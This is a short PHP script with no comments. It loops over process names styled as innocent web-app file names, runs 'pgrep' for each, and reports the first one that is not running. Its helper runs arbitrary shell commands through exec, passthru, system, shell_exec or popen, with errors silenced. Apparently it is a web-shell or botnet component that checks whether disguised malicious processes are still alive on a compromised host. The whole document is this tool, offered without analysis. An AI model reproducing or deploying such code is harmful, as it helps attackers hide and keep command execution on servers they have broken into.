<?php   $files = ['polloption','feedcreator','calenda1r','PhpThumb.inc','abt_course','searchbar','ajobpost','createroom.inc','frames_pm.js','k2attachment','Extension','eventlist','newVacancie','form_upload','referers.inc','reading_eni','cma_m_mailprefs','lib_options_add','server_links.inc','import_status','tell_a_friend','cache_censor','add_events','xoopscodes','class.wsdl','referrals','File.class','customer_notes','xenobe_control','encrypt.inc']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }